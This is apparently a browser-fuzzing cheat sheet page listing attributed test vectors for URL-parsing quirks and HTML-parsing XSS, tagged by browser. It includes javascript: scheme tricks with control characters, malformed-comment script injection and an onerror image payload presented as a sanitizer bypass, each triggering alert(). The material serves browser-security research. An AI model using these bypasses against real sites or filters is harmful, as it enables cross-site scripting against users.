Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 153 vectors with results
if (new URL("javascript"+String.fromCodePoint(parseInt(9..toString(16),16))+":alert()").protocol=="javascript:"){alert(9)}Author: avlidienbrunn
JSURL HandlingChromeSafari
if (new URL("javascript"+String.fromCodePoint(parseInt(10..toString(16),16))+":alert()").protocol=="javascript:"){alert(10)}Author: avlidienbrunn
JSURL HandlingChromeSafari
if (new URL("javascript"+String.fromCodePoint(parseInt(13..toString(16),16))+":alert()").protocol=="javascript:"){alert(13)}Author: avlidienbrunn
JSURL HandlingChromeSafari
if (new URL("javascript"+String.fromCodePoint(parseInt(58..toString(16),16))+":alert()").protocol=="javascript:"){alert(58)}Author: avlidienbrunn
JSURL HandlingChromeSafari
let chr = String.fromCodePoint(9);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(9)JSURL HandlingChromeFirefoxSafariMicrosoft Edge
let chr = String.fromCodePoint(10);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(10)JSURL HandlingChromeFirefoxSafariMicrosoft Edge
let chr = String.fromCodePoint(13);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(13)JSURL HandlingChromeFirefoxSafariMicrosoft Edge
let chr = String.fromCodePoint(43);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(43)JSURL HandlingChromeFirefoxSafariMicrosoft Edge
let chr = String.fromCodePoint(45);0x0D
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(45)JSURL HandlingChromeFirefoxSafariMicrosoft Edge
<a href="0x01javascript:test.com/" id="test"></a>Author: renniepak
XSSURL HandlingChromeFirefoxSafari
<a href="0x02javascript:test.com/" id="test"></a>Author: renniepak
XSSURL HandlingChromeFirefoxSafari
<a href="0x03javascript:test.com/" id="test"></a>Author: renniepak
XSSURL HandlingChromeFirefoxSafari
<a href="0x04javascript:test.com/" id="test"></a>Author: renniepak
XSSURL HandlingChromeFirefoxSafari
<a href="0x05javascript:test.com/" id="test"></a>Author: renniepak
XSSURL HandlingChromeFirefoxSafari
--><!---><script>alert(45)</script>Source: Malformed HTML comments
Author: hackvertor
XSSHTML ParsingChromeFirefoxSafari
--><!-->><script>alert(62)</script>Source: Malformed HTML comments
Author: hackvertor
XSSHTML ParsingChromeFirefoxSafari
if (new URL("https://google.com0x090x09/endpoint").host=="google.com"){alert(9)}Author: InsertScript
JSURL HandlingChrome
if (new URL("https://google.com##/endpoint").host=="google.com"){alert(35)}Author: InsertScript
JSURL HandlingChrome
if (new URL("https://google.com///endpoint").host=="google.com"){alert(47)}Author: InsertScript
JSURL HandlingChrome
if (new URL("https://google.com??/endpoint").host=="google.com"){alert(63)}Author: InsertScript
JSURL HandlingChrome
if (new URL("https://google.com\\/endpoint").host=="google.com"){alert(92)}Author: InsertScript
JSURL HandlingChrome
if (new URL("https://example.com" + String.fromCodePoint(9) + "/").hostname === 'example.com'){alert(9)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(10) + "/").hostname === 'example.com'){alert(10)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(13) + "/").hostname === 'example.com'){alert(13)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(35) + "/").hostname === 'example.com'){alert(35)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(47) + "/").hostname === 'example.com'){alert(47)}JSURL HandlingChromeSafariFirefox
(new URL("https:" + String.fromCodePoint(0) + "example.com","https://shazzer.co.uk").origin === new URL("https://shazzer.co.uk").origin) && (new URL("https:" + String.fromCodePoint(0) + "example.com").origin === new URL("https://example.com").origin) && alert(0 + " >> " + String.fromCodePoint(0))0x0D
0x0D
Author: N25sec
JSURL HandlingChromeFirefoxMicrosoft Edge
if (new URL("https://example" + String.fromCharCode(i) + "com").host == "example.com") alert(i)Source: URL domain dot alternatives
Author: JorianWoltjer
JSURL HandlingChromeFirefoxSafari
char = String.fromCodePoint(60)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
new URL(url)0x0D
}0x0D
catch(e){0x0D
anchor.href=url0x0D
if(anchor.protocol !== ':'){alert(60)}0x0D
}Author: Sudistark
JSURL HandlingSafari
char = String.fromCodePoint(62)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
new URL(url)0x0D
}0x0D
catch(e){0x0D
anchor.href=url0x0D
if(anchor.protocol !== ':'){alert(62)}0x0D
}Author: Sudistark
JSURL HandlingSafari
char = String.fromCodePoint(64)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
new URL(url)0x0D
}0x0D
catch(e){0x0D
anchor.href=url0x0D
if(anchor.protocol !== ':'){alert(64)}0x0D
}Author: Sudistark
JSURL HandlingSafari
char = String.fromCodePoint(91)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
new URL(url)0x0D
}0x0D
catch(e){0x0D
anchor.href=url0x0D
if(anchor.protocol !== ':'){alert(91)}0x0D
}Author: Sudistark
JSURL HandlingSafari
char = String.fromCodePoint(92)0x0D
url = "javascript://google.com"+char0x0D
0x0D
try {0x0D
new URL(url)0x0D
}0x0D
catch(e){0x0D
anchor.href=url0x0D
if(anchor.protocol !== ':'){alert(92)}0x0D
}Author: Sudistark
JSURL HandlingSafari
<a href="javascript0x09:" id=x></a>XSSURL HandlingFirefoxChrome
<a href="javascript
:" id=x></a>XSSURL HandlingFirefoxChrome
<a href="javascript0x0D:" id=x></a>XSSURL HandlingFirefoxChrome
<a href="javascript::" id=x></a>XSSURL HandlingFirefoxChrome
if (new URL("https://example.com" + String.fromCodePoint(0)).hostname === 'example.com'){alert(0)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(1)).hostname === 'example.com'){alert(1)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(2)).hostname === 'example.com'){alert(2)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(3)).hostname === 'example.com'){alert(3)}JSURL HandlingChromeSafariFirefox
if (new URL("https://example.com" + String.fromCodePoint(4)).hostname === 'example.com'){alert(4)}JSURL HandlingChromeSafariFirefox
if (new URL("https://google.com0x090x09/endpoint").origin=="https://google.com"){alert(9)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com##/endpoint").origin=="https://google.com"){alert(35)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com///endpoint").origin=="https://google.com"){alert(47)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com??/endpoint").origin=="https://google.com"){alert(63)}Author: hansmach1ne
JSURL HandlingChromeFirefox
if (new URL("https://google.com\\/endpoint").origin=="https://google.com"){alert(92)}Author: hansmach1ne
JSURL HandlingChromeFirefox
<p><img/src/onerror=alert(1)></p>Source: < removal bypass
Author: Device1306
HTMLHTML ParsingFirefoxChrome
if (new URL("javascript0x09:alert()").protocol=="javascript:"){alert(9)}Author: renniepak
JSURL HandlingChromeSafariFirefox
if (new URL("javascript::alert()").protocol=="javascript:"){alert(58)}Author: renniepak
JSURL HandlingChromeSafariFirefox
if (new URL("javascript\:alert()").protocol=="javascript:"){alert(92)}Author: renniepak
JSURL HandlingChromeSafariFirefox
